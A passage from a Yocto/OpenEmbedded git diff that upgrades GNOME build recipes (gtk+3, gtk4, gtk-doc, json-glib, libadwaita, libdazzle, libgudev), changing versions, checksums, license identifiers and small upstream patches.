-SRC_URI[sha256sum] = "aeea6ae7cd35e83dfc7699be716519faefca346c62e784dd1a37d9df94c08f52"
-
-S = "${WORKDIR}/gtk+-${PV}"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2 \
- file://gtk/gtk.h;endline=25;md5=1d8dc0fccdbfa26287a271dce88af737 \
- file://gdk/gdk.h;endline=25;md5=c920ce39dc88c6f06d3e7c50e08086f2 \
- file://tests/testgtk.c;endline=25;md5=cb732daee1d82af7a2bf953cf3cf26f1"
diff --git a/meta/recipes-gnome/gtk+/gtk+3_3.24.41.bb b/meta/recipes-gnome/gtk+/gtk+3_3.24.41.bb
new file mode 100644
index 0000000000..17e90c59f0
--- /dev/null
+++ b/meta/recipes-gnome/gtk+/gtk+3_3.24.41.bb
@@ -0,0 +1,17 @@
+require gtk+3.inc
+
+MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
+
+SRC_URI = "http://ftp.gnome.org/pub/gnome/sources/gtk+/${MAJ_VER}/gtk+-${PV}.tar.xz \
+ file://opengl.patch \
+ "
+SRC_URI[sha256sum] = "47da61487af3087a94bc49296fd025ca0bc02f96ef06c556e7c8988bd651b6fa"
+
+S = "${WORKDIR}/gtk+-${PV}"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2 \
+ file://gtk/gtk.h;endline=25;md5=1d8dc0fccdbfa26287a271dce88af737 \
+ file://gdk/gdk.h;endline=25;md5=c920ce39dc88c6f06d3e7c50e08086f2 \
+ file://tests/testgtk.c;endline=25;md5=cb732daee1d82af7a2bf953cf3cf26f1"
+
+CVE_PRODUCT = "gnome:gtk"
diff --git a/meta/recipes-gnome/gtk+/gtk4_4.14.1.bb b/meta/recipes-gnome/gtk+/gtk4_4.14.1.bb
new file mode 100644
index 0000000000..ce733769a5
--- /dev/null
+++ b/meta/recipes-gnome/gtk+/gtk4_4.14.1.bb
@@ -0,0 +1,130 @@
+SUMMARY = "Multi-platform toolkit for creating GUIs"
+DESCRIPTION = "GTK is a multi-platform toolkit for creating graphical user interfaces. Offering a complete \
+set of widgets, GTK is suitable for projects ranging from small one-off projects to complete application suites."
+HOMEPAGE = "http://www.gtk.org"
+BUGTRACKER = "https://bugzilla.gnome.org/"
+SECTION = "libs"
+
+DEPENDS = " \
+ atk \
+ cairo \
+ fribidi \
+ gdk-pixbuf \
+ gdk-pixbuf-native \
+ gi-docgen \
+ glib-2.0 \
+ graphene \
+ harfbuzz \
+ jpeg \
+ libepoxy \
+ libpng \
+ librsvg \
+ libxkbcommon \
+ pango \
+ tiff \
+"
+
+LICENSE = "LGPL-2.0-only & LGPL-2.0-or-later & LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = " \
+ file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2 \
+ file://gtk/gtk.h;endline=25;md5=61900d77e8d5bc67cf15ad93de9a3490 \
+ file://gdk/gdk.h;endline=25;md5=a0fb26c1f6b94e66d148279e192c333f \
+ file://tests/testgtk.c;endline=25;md5=49d06770681b8322466b52ed19d29fb2 \
+"
+
+MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
+
+UPSTREAM_CHECK_REGEX = "gtk-(?P<pver>\d+\.(\d*[02468])+(\.\d+)+)\.tar.xz"
+
+SRC_URI = "http://ftp.gnome.org/pub/gnome/sources/gtk/${MAJ_VER}/gtk-${PV}.tar.xz"
+SRC_URI[sha256sum] = "fcefb3f132f8cc4711a9efa5b353c9ae9bb5eeff0246fa74dbc2f2f839b9e308"
+
+S = "${WORKDIR}/gtk-${PV}"
+
+CVE_PRODUCT = "gnome:gtk"
+
+inherit meson gettext pkgconfig gi-docgen update-alternatives gsettings features_check gobject-introspection
+
+# TBD: nativesdk
+# gobject-introspection.bbclass pins introspection off for nativesk. As long as
+# we do not remove this wisdom or hack gtk4, it is not possible to build
+# nativesdk-gtk4
+BBCLASSEXTEND = "native"
+
+GSETTINGS_PACKAGE:class-native = ""
+
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+REQUIRED_DISTRO_FEATURES = "opengl"
+GTKDOC_MESON_OPTION = "documentation"
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+
+EXTRA_OEMESON = " -Dbuild-tests=false -Dbuild-testsuite=false -Dbuild-demos=false"
+
+PACKAGECONFIG ??= "gstreamer ${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11 vulkan', d)}"
+PACKAGECONFIG:class-native = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
+PACKAGECONFIG:class-nativesdk = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
+
+PACKAGECONFIG[x11] = "-Dx11-backend=true,-Dx11-backend=false,at-spi2-atk fontconfig libx11 libxext libxcursor libxi libxdamage libxrandr libxrender libxcomposite libxfixes xinerama"
+PACKAGECONFIG[wayland] = "-Dwayland-backend=true,-Dwayland-backend=false,wayland wayland-protocols virtual/egl virtual/libgles2 wayland-native"
+PACKAGECONFIG[cloudproviders] = "-Dcloudproviders=enabled,-Dcloudproviders=disabled,libcloudproviders"
+PACKAGECONFIG[cups] = "-Dprint-cups=enabled,-Dprint-cups=disabled,cups,cups gtk4-printbackend-cups"
+PACKAGECONFIG[colord] = "-Dcolord=enabled,-Dcolord=disabled,colord"
+PACKAGECONFIG[iso-codes] = ",,iso-codes,iso-codes"
+# gtk4 wants gstreamer-player-1.0 -> gstreamer1.0-plugins-bad
+PACKAGECONFIG[gstreamer] = "-Dmedia-gstreamer=enabled,-Dmedia-gstreamer=disabled,gstreamer1.0-plugins-bad"
+PACKAGECONFIG[tracker] = "-Dtracker=enabled,-Dtracker=disabled,tracker,tracker-miners"
+PACKAGECONFIG[vulkan] = "-Dvulkan=enabled,-Dvulkan=disabled, vulkan-loader vulkan-headers shaderc-native"
+
+LIBV = "4.0.0"
+
+FILES:${PN}:append = " \
+ ${datadir}/glib-2.0/schemas/ \
+ ${datadir}/gtk-4.0/emoji/ \
+ ${datadir}/metainfo/ \
+ ${datadir}/icons/hicolor/*/apps/org.gtk.PrintEditor4*.* \
+ ${libdir}/gtk-4.0/${LIBV}/media \
+ ${bindir}/gtk4-update-icon-cache \
+ ${bindir}/gtk4-launch \
+"
+
+FILES:${PN}-dev += " \
+ ${datadir}/gtk-4.0/gtk4builder.rng \
+ ${datadir}/gtk-4.0/include \
+ ${datadir}/gtk-4.0/valgrind \
+ ${datadir}/gettext/its \
+ ${bindir}/gtk4-builder-tool \
+ ${bindir}/gtk4-encode-symbolic-svg \
+ ${bindir}/gtk4-query-settings \
+"
+
+GTKBASE_RRECOMMENDS ?= " \
+ liberation-fonts \
+ gdk-pixbuf-loader-png \
+ gdk-pixbuf-loader-jpeg \
+ gdk-pixbuf-loader-gif \
+ gdk-pixbuf-loader-xpm \
+ shared-mime-info \
+ adwaita-icon-theme-symbolic \
+"
+
+GTKBASE_RRECOMMENDS:class-native ?= ""
+
+GTKGLIBC_RRECOMMENDS ?= "${GTKBASE_RRECOMMENDS} glibc-gconv-iso8859-1"
+
+RRECOMMENDS:${PN} = "${GTKBASE_RRECOMMENDS}"
+RRECOMMENDS:${PN}:libc-glibc = "${GTKGLIBC_RRECOMMENDS}"
+RDEPENDS:${PN}-dev += "${@bb.utils.contains("PACKAGECONFIG", "wayland", "wayland-protocols", "", d)}"
+
+PACKAGES_DYNAMIC += "^gtk4-printbackend-.*"
+python populate_packages:prepend () {
+ import os.path
+
+ gtk_libdir = d.expand('${libdir}/gtk-4.0/${LIBV}')
+ printmodules_root = os.path.join(gtk_libdir, 'printbackends');
+
+ do_split_packages(d, printmodules_root, r'^libprintbackend-(.*)\.so$', 'gtk4-printbackend-%s', 'GTK printbackend module for %s')
+
+ if (d.getVar('DEBIAN_NAMES')):
+ d.setVar(d.expand('PKG:${PN}'), '${MLPREFIX}libgtk-4.0')
+}
diff --git a/meta/recipes-gnome/gtk-doc/files/0001-Don-t-use-docdir-from-environment.patch b/meta/recipes-gnome/gtk-doc/files/0001-Don-t-use-docdir-from-environment.patch
new file mode 100644
index 0000000000..f40124877c
--- /dev/null
+++ b/meta/recipes-gnome/gtk-doc/files/0001-Don-t-use-docdir-from-environment.patch
@@ -0,0 +1,24 @@
+From 72dfeec0e49478b0bfb471c4155044391bad8e6c Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Fri, 8 Dec 2023 10:35:25 +0000
+Subject: [PATCH] Don't use docdir from environment
+
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/gtk-doc/-/merge_requests/73]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+---
+ buildsystems/autotools/gtkdocize.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/buildsystems/autotools/gtkdocize.in b/buildsystems/autotools/gtkdocize.in
+index 83127bf..76dcbfd 100755
+--- a/buildsystems/autotools/gtkdocize.in
++++ b/buildsystems/autotools/gtkdocize.in
+@@ -39,7 +39,7 @@ set - $args
+
+ # assume working directory if srcdir is not set
+ test "$srcdir" || srcdir=.
+-test "$docdir" || docdir="$srcdir"
++docdir="$srcdir"
+
+ # detect configure script
+ no_configure_found=0
diff --git a/meta/recipes-gnome/gtk-doc/files/pkg-config-native.patch b/meta/recipes-gnome/gtk-doc/files/pkg-config-native.patch
index 5ca4e3e086..1d260aa72b 100644
--- a/meta/recipes-gnome/gtk-doc/files/pkg-config-native.patch
+++ b/meta/recipes-gnome/gtk-doc/files/pkg-config-native.patch
@@ -1,4 +1,4 @@
-From 657310f3842c84d28f6b77e8ad4d9b93472ca5da Mon Sep 17 00:00:00 2001
+From ebb0f7313a0931f646e86badce2627eff2fa37a8 Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@intel.com>
Date: Mon, 5 Sep 2016 22:25:44 +0100
Subject: [PATCH] Use native pkg-config when looking for gtk-doc.
diff --git a/meta/recipes-gnome/gtk-doc/gtk-doc_1.32.bb b/meta/recipes-gnome/gtk-doc/gtk-doc_1.32.bb
deleted file mode 100644
index 1eaf370ab0..0000000000
--- a/meta/recipes-gnome/gtk-doc/gtk-doc_1.32.bb
+++ /dev/null
@@ -1,62 +0,0 @@
-SUMMARY = "Documentation generator for glib-based software"
-DESCRIPTION = "Gtk-doc is a set of scripts that extract specially formatted comments \
- from glib-based software and produce a set of html documentation files from them"
-HOMEPAGE = "http://www.gtk.org/gtk-doc/"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
-
-inherit gnomebase
-
-# Configure the scripts correctly (and build their dependencies) only if they are actually
-# going to be used; otheriwse we need only the m4/makefile includes from the gtk-doc tarball.
-PACKAGECONFIG ??= "${@bb.utils.contains("DISTRO_FEATURES", "api-documentation", "working-scripts", "", d)}"
-
-# This will cause target gtk-doc to hardcode paths of native dependencies
-# into its scripts. This means that target gtk-doc package is broken;
-# hopefully no one minds because its scripts are not used for anything during build
-# and shouldn't be used on targets.
-PACKAGECONFIG[working-scripts] = ",,libxslt-native xmlto-native python3-six python3-pygments"
-PACKAGECONFIG[tests] = "--enable-tests,--disable-tests,glib-2.0"
-
-SRC_URI[archive.md5sum] = "07764836262e154e94922e5f2aa476ae"
-SRC_URI[archive.sha256sum] = "de0ef034fb17cb21ab0c635ec730d19746bce52984a6706e7bbec6fb5e0b907c"
-SRC_URI += "file://0001-Do-not-hardocode-paths-to-perl-python-in-scripts.patch \
- file://0001-Do-not-error-out-if-xsltproc-is-not-found.patch \
- file://conditionaltests.patch \
- file://no-clobber.patch \
- "
-SRC_URI_append_class-native = " file://pkg-config-native.patch"
-
-BBCLASSEXTEND = "native nativesdk"
-
-# Do not check for XML catalogs when building because that
-# information is not used for anything during build. Recipe
-# dependencies make sure we have all the right bits.
-do_configure_prepend() {
- sed -i -e 's,^JH_CHECK_XML_CATALOG.*,,' ${S}/configure.ac
-}
-
-do_install_append () {
- # configure values for python3 and pkg-config encoded in scripts
- for fn in ${bindir}/gtkdoc-depscan \
- ${bindir}/gtkdoc-mkhtml2 \
- ${datadir}/gtk-doc/python/gtkdoc/config.py; do
- sed -e 's,${RECIPE_SYSROOT_NATIVE}/usr/bin/pkg-config,${bindir}/pkg-config,' \
- -e 's,${HOSTTOOLS_DIR}/python3,${bindir}/python3,' \
- -i ${D}$fn
- done
-}
-
-FILES_${PN} += "${datadir}/sgml"
-FILES_${PN}-dev += "${libdir}/cmake"
-FILES_${PN}-doc = ""
-
-SYSROOT_PREPROCESS_FUNCS_append_class-native = " gtkdoc_makefiles_sysroot_preprocess"
-gtkdoc_makefiles_sysroot_preprocess() {
- # Patch the gtk-doc makefiles so that the qemu wrapper is used to run transient binaries
- # instead of libtool wrapper or running them directly
- sed -i \
- -e "s|GTKDOC_RUN =.*|GTKDOC_RUN = \$(top_builddir)/gtkdoc-qemuwrapper|" \
- ${SYSROOT_DESTDIR}${datadir}/gtk-doc/data/gtk-doc*make
-}
-
diff --git a/meta/recipes-gnome/gtk-doc/gtk-doc_1.33.2.bb b/meta/recipes-gnome/gtk-doc/gtk-doc_1.33.2.bb
new file mode 100644
index 0000000000..4fd5a6e925
--- /dev/null
+++ b/meta/recipes-gnome/gtk-doc/gtk-doc_1.33.2.bb
@@ -0,0 +1,65 @@
+SUMMARY = "Documentation generator for glib-based software"
+DESCRIPTION = "Gtk-doc is a set of scripts that extract specially formatted comments \
+ from glib-based software and produce a set of html documentation files from them"
+HOMEPAGE = "https://www.gtk.org/docs/"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+
+GNOMEBASEBUILDCLASS = "autotools"
+inherit gnomebase
+
+# Configure the scripts correctly (and build their dependencies) only if they are actually
+# going to be used; otheriwse we need only the m4/makefile includes from the gtk-doc tarball.
+PACKAGECONFIG ??= "${@bb.utils.contains("DISTRO_FEATURES", "api-documentation", "working-scripts", "", d)}"
+
+# This will cause target gtk-doc to hardcode paths of native dependencies
+# into its scripts. This means that target gtk-doc package is broken;
+# hopefully no one minds because its scripts are not used for anything during build
+# and shouldn't be used on targets.
+PACKAGECONFIG[working-scripts] = ",,libxslt-native docbook-xml-dtd4-native docbook-xsl-stylesheets python3-pygments"
+PACKAGECONFIG[tests] = "--enable-tests,--disable-tests,glib-2.0"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_XSLTPROC=xsltproc"
+
+SRC_URI[archive.sha256sum] = "cc1b709a20eb030a278a1f9842a362e00402b7f834ae1df4c1998a723152bf43"
+SRC_URI += "file://0001-Do-not-hardocode-paths-to-perl-python-in-scripts.patch \
+ file://0001-Do-not-error-out-if-xsltproc-is-not-found.patch \
+ file://conditionaltests.patch \
+ file://no-clobber.patch \
+ file://0001-Don-t-use-docdir-from-environment.patch \
+ "
+SRC_URI:append:class-native = " file://pkg-config-native.patch"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Do not check for XML catalogs when building because that
+# information is not used for anything during build. Recipe
+# dependencies make sure we have all the right bits.
+do_configure:prepend() {
+ sed -i -e 's,^JH_CHECK_XML_CATALOG.*,,' ${S}/configure.ac
+}
+
+do_install:append () {
+ # configure values for python3 and pkg-config encoded in scripts
+ for fn in ${bindir}/gtkdoc-depscan \
+ ${bindir}/gtkdoc-mkhtml2 \
+ ${datadir}/gtk-doc/python/gtkdoc/config_data.py \
+ ${datadir}/gtk-doc/python/gtkdoc/config.py; do
+ sed -e 's,${RECIPE_SYSROOT_NATIVE}/usr/bin/pkg-config,${bindir}/pkg-config,' \
+ -e 's,${HOSTTOOLS_DIR}/python3,${bindir}/python3,' \
+ -e '1s|^#!.*|#!/usr/bin/env python3|' \
+ -i ${D}$fn
+ done
+}
+
+FILES:${PN} += "${datadir}/sgml"
+FILES:${PN}-doc = ""
+
+SYSROOT_PREPROCESS_FUNCS:append:class-native = " gtkdoc_makefiles_sysroot_preprocess"
+gtkdoc_makefiles_sysroot_preprocess() {
+ # Patch the gtk-doc makefiles so that the qemu wrapper is used to run transient binaries
+ # instead of libtool wrapper or running them directly
+ sed -i \
+ -e "s|GTKDOC_RUN =.*|GTKDOC_RUN = \$(top_builddir)/gtkdoc-qemuwrapper|" \
+ ${SYSROOT_DESTDIR}${datadir}/gtk-doc/data/gtk-doc*make
+}
diff --git a/meta/recipes-gnome/hicolor-icon-theme/hicolor-icon-theme_0.17.bb b/meta/recipes-gnome/hicolor-icon-theme/hicolor-icon-theme_0.17.bb
index 74e3430528..bb6cb000ab 100644
--- a/meta/recipes-gnome/hicolor-icon-theme/hicolor-icon-theme_0.17.bb
+++ b/meta/recipes-gnome/hicolor-icon-theme/hicolor-icon-theme_0.17.bb
@@ -4,7 +4,7 @@ theme for implementations of the icon theme specification."
HOMEPAGE = "https://www.freedesktop.org/wiki/Software/icon-theme"
BUGTRACKER = "https://bugs.freedesktop.org/"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=f08a446809913fc9b3c718f0eaea0426"
SRC_URI = "https://icon-theme.freedesktop.org/releases/${BPN}-${PV}.tar.xz"
@@ -13,6 +13,6 @@ SRC_URI[sha256sum] = "317484352271d18cbbcfac3868eab798d67fff1b8402e740baa6ff41d5
inherit allarch autotools
-FILES_${PN} += "${datadir}/icons"
+FILES:${PN} += "${datadir}/icons"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-gnome/json-glib/json-glib_1.4.4.bb b/meta/recipes-gnome/json-glib/json-glib_1.4.4.bb
deleted file mode 100644
index 5143d73ed7..0000000000
--- a/meta/recipes-gnome/json-glib/json-glib_1.4.4.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "JSON-GLib implements a full JSON parser using GLib and GObject"
-DESCRIPTION = "Use JSON-GLib it is possible to parse and generate valid JSON\
- data structures, using a DOM-like API. JSON-GLib also offers GObject \
-integration, providing the ability to serialize and deserialize GObject \
-instances to and from JSON data types."
-HOMEPAGE = "https://wiki.gnome.org/Projects/JsonGlib"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/json-glib/issues"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
-
-DEPENDS = "glib-2.0"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase lib_package gobject-introspection gtk-doc gettext ptest-gnome manpages
-
-SRC_URI += "file://run-ptest"
-SRC_URI[archive.md5sum] = "4d4bb9837f6d31e32d0ce658ae135f68"
-SRC_URI[archive.sha256sum] = "720c5f4379513dc11fd97dc75336eb0c0d3338c53128044d9fabec4374f4bc47"
-
-PACKAGECONFIG[manpages] = "-Dman=true,-Dman=false,libxslt-native xmlto-native"
-
-do_install_append() {
- if ! ${@bb.utils.contains('PTEST_ENABLED', '1', 'true', 'false', d)}; then
- rm -rf ${D}${datadir}/installed-tests ${D}${libexecdir}
- fi
-}
-
-BBCLASSEXTEND = "native nativesdk"
-
-# Currently it's not possible to disable gettext in Meson, so we need to force
-# this back on.
-USE_NLS_class-native = "yes"
diff --git a/meta/recipes-gnome/json-glib/json-glib_1.8.0.bb b/meta/recipes-gnome/json-glib/json-glib_1.8.0.bb
new file mode 100644
index 0000000000..2094ebe3e7
--- /dev/null
+++ b/meta/recipes-gnome/json-glib/json-glib_1.8.0.bb
@@ -0,0 +1,31 @@
+SUMMARY = "JSON-GLib implements a full JSON parser using GLib and GObject"
+DESCRIPTION = "Use JSON-GLib it is possible to parse and generate valid JSON\
+ data structures, using a DOM-like API. JSON-GLib also offers GObject \
+integration, providing the ability to serialize and deserialize GObject \
+instances to and from JSON data types."
+HOMEPAGE = "https://wiki.gnome.org/Projects/JsonGlib"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/json-glib/issues"
+
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
+
+DEPENDS = "glib-2.0 glib-2.0-native"
+
+inherit gnomebase lib_package gobject-introspection gi-docgen gettext ptest-gnome manpages upstream-version-is-even
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+GIDOCGEN_MESON_ENABLE_FLAG = 'enabled'
+GIDOCGEN_MESON_DISABLE_FLAG = 'disabled'
+
+SRC_URI += " file://run-ptest"
+SRC_URI[archive.sha256sum] = "97ef5eb92ca811039ad50a65f06633f1aae64792789307be7170795d8b319454"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
+PACKAGECONFIG[manpages] = "-Dman=true,-Dman=false,libxslt-native xmlto-native"
+PACKAGECONFIG[tests] = "-Dtests=true,-Dtests=false"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Currently it's not possible to disable gettext in Meson, so we need to force
+# this back on.
+USE_NLS:class-native = "yes"
diff --git a/meta/recipes-gnome/libadwaita/libadwaita_1.5.0.bb b/meta/recipes-gnome/libadwaita/libadwaita_1.5.0.bb
new file mode 100644
index 0000000000..b0b1e4502a
--- /dev/null
+++ b/meta/recipes-gnome/libadwaita/libadwaita_1.5.0.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Building blocks for modern GNOME applications"
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/libadwaita"
+LICENSE="LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+
+DEPENDS = " \
+ gtk4 \
+ appstream \
+"
+
+inherit gnomebase gobject-introspection gi-docgen vala features_check
+
+SRC_URI[archive.sha256sum] = "fd92287df9bb95c963654fb6e70d3e082e2bcb37b147e0e3c905567167993783"
+
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+REQUIRED_DISTRO_FEATURES = "opengl"
+
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+GTKDOC_MESON_OPTION = 'gtk_doc'
+
+PACKAGECONFIG[examples] = "-Dexamples=true,-Dexamples=false"
+
+FILES:${PN} += "${datadir}/metainfo"
+
+EXTRA_OEMESON += "${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-Dvapi=true', '-Dvapi=false', d)}"
diff --git a/meta/recipes-gnome/libdazzle/libdazzle_3.36.0.bb b/meta/recipes-gnome/libdazzle/libdazzle_3.36.0.bb
deleted file mode 100644
index 25ccee2e29..0000000000
--- a/meta/recipes-gnome/libdazzle/libdazzle_3.36.0.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "The libdazzle library is a companion library to GObject and Gtk+."
-DESCRIPTION = "A wide range of components from utilities for GIO, widgets for \
-GTK+, an animation framework, state machines, paneling and high-performance \
-counters are included."
-LICENSE = "GPLv3+"
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/libdazzle"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/libdazzle/issues"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8f0e2cd40e05189ec81232da84bd6e1a"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase upstream-version-is-even vala features_check gobject-introspection
-
-DEPENDS = "glib-2.0-native glib-2.0 gtk+3"
-
-SRC_URI[archive.md5sum] = "154be45a6aac020e7d59f477bd7cafcf"
-SRC_URI[archive.sha256sum] = "82b31bbf550fc62970c78bf7f9d55e5fae5b8ea13b24fe2d13c8c6039409d958"
-
-GIR_MESON_OPTION = 'with_introspection'
-
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
diff --git a/meta/recipes-gnome/libdazzle/libdazzle_3.44.0.bb b/meta/recipes-gnome/libdazzle/libdazzle_3.44.0.bb
new file mode 100644
index 0000000000..9bca7e9dce
--- /dev/null
+++ b/meta/recipes-gnome/libdazzle/libdazzle_3.44.0.bb
@@ -0,0 +1,18 @@
+SUMMARY = "The libdazzle library is a companion library to GObject and Gtk+."
+DESCRIPTION = "A wide range of components from utilities for GIO, widgets for \
+GTK+, an animation framework, state machines, paneling and high-performance \
+counters are included."
+LICENSE = "GPL-3.0-or-later"
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/libdazzle"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/libdazzle/issues"
+LIC_FILES_CHKSUM = "file://COPYING;md5=8f0e2cd40e05189ec81232da84bd6e1a"
+
+inherit gnomebase upstream-version-is-even vala features_check gobject-introspection
+
+DEPENDS = "glib-2.0-native glib-2.0 gtk+3"
+
+SRC_URI[archive.sha256sum] = "3cd3e45eb6e2680cb05d52e1e80dd8f9d59d4765212f0e28f78e6c1783d18eae"
+
+GIR_MESON_OPTION = 'with_introspection'
+
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
diff --git a/meta/recipes-gnome/libgudev/libgudev/0001-meson-Pass-export-dynamic-option-to-linker.patch b/meta/recipes-gnome/libgudev/libgudev/0001-meson-Pass-export-dynamic-option-to-linker.patch
new file mode 100644
index 0000000000..8a06d244e4
--- /dev/null
+++ b/meta/recipes-gnome/libgudev/libgudev/0001-meson-Pass-export-dynamic-option-to-linker.patch
@@ -0,0 +1,38 @@
+From dc4fcfb1e1e2326a412b252314af3e9424a31457 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 16 Jan 2024 12:02:46 -0800
+Subject: [PATCH] meson: Pass --export-dynamic option to linker
+
+Bypass the compiler driver trying to comprehend and translate it for
+linker, since its not clear what the right behavior should be, gcc seems
+to translate it into --export-dynamic but clang 18+ rejects it
+
+| x86_64-yoe-linux-clang: error: unknown argument: '-export-dynamic'
+
+also see [1]
+
+This makes it work as intended across gcc and clang
+
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/libgudev/-/merge_requests/30]
+[1] https://discourse.llvm.org/t/clang-option-export-dynamic-parse-to-e-xport-dynamic-error/72454
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gudev/meson.build | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/gudev/meson.build b/gudev/meson.build
+index e904203..3ed580b 100644
+--- a/gudev/meson.build
++++ b/gudev/meson.build
+@@ -33,7 +33,7 @@ libgudev_c_args = [
+ ]
+
+ libgudev_link_args = [
+- '-export-dynamic',
++ '-Wl,--export-dynamic',
+ '-Wl,--version-script,@0@/libgudev-1.0.sym'.format(top_srcdir),
+ ]
+
+--
+2.43.0
+
diff --git a/meta/recipes-gnome/libgudev/libgudev_233.bb b/meta/recipes-gnome/libgudev/libgudev_233.bb
deleted file mode 100644
index 8bc379ff62..0000000000
--- a/meta/recipes-gnome/libgudev/libgudev_233.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "GObject wrapper for libudev"
-DESCRIPTION = "This library makes it much simpler to use libudev from programs \
-already using GObject. It also makes it possible to easily use libudev from \
-other programming languages, such as Javascript, because of GObject \
-introspection support."
-HOMEPAGE = "https://wiki.gnome.org/Projects/libgudev"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/libgudev/issues"
-SRC_URI[archive.sha256sum] = "587c4970eb23f4e2deee2cb1fb7838c94a78c578f41ce12cac0a3f4a80dabb03"
-SRC_URI[archive.md5sum] = "d59a317a40aaa02a2226056c0bb4d3e1"
-
-DEPENDS = "glib-2.0 udev"
-
-EXTRA_OECONF = "--disable-umockdev"
-
-RCONFLICTS_${PN} = "systemd (<= 220)"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-inherit gnomebase gobject-introspection gtk-doc
-
-UPSTREAM_CHECK_URI = "http://ftp.gnome.org/pub/GNOME/sources/libgudev/"
-UPSTREAM_CHECK_REGEX = "(?P<pver>(\d+))"
diff --git a/meta/recipes-gnome/libgudev/libgudev_238.bb b/meta/recipes-gnome/libgudev/libgudev_238.bb
new file mode 100644
index 0000000000..f197f6421d
--- /dev/null
+++ b/meta/recipes-gnome/libgudev/libgudev_238.bb
@@ -0,0 +1,34 @@
+SUMMARY = "GObject wrapper for libudev"
+DESCRIPTION = "This library makes it much simpler to use libudev from programs \
+already using GObject. It also makes it possible to easily use libudev from \
+other programming languages, such as Javascript, because of GObject \
+introspection support."
+HOMEPAGE = "https://wiki.gnome.org/Projects/libgudev"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/libgudev/issues"
+SRC_URI[archive.sha256sum] = "61266ab1afc9d73dbc60a8b2af73e99d2fdff47d99544d085760e4fa667b5dd1"
+
+DEPENDS = "glib-2.0 glib-2.0-native udev"
+
+RCONFLICTS:${PN} = "systemd (<= 220)"
+
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+inherit gnomebase gobject-introspection gtk-doc
+
+SRC_URI += "file://0001-meson-Pass-export-dynamic-option-to-linker.patch"
+
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+
+GTKDOC_MESON_OPTION = "gtk_doc"
+
+UPSTREAM_CHECK_URI = "http://ftp.gnome.org/pub/GNOME/sources/libgudev/"
+UPSTREAM_CHECK_REGEX = "(?P<pver>(\d+))"
+
+EXTRA_OEMESON += "-Dtests=disabled -Dvapi=disabled"
+
+# This isn't a GNOME-style version do gnome_verdir fails. Just return the
+# version as that is how the directory is structured.
+def gnome_verdir(v):
+ return v
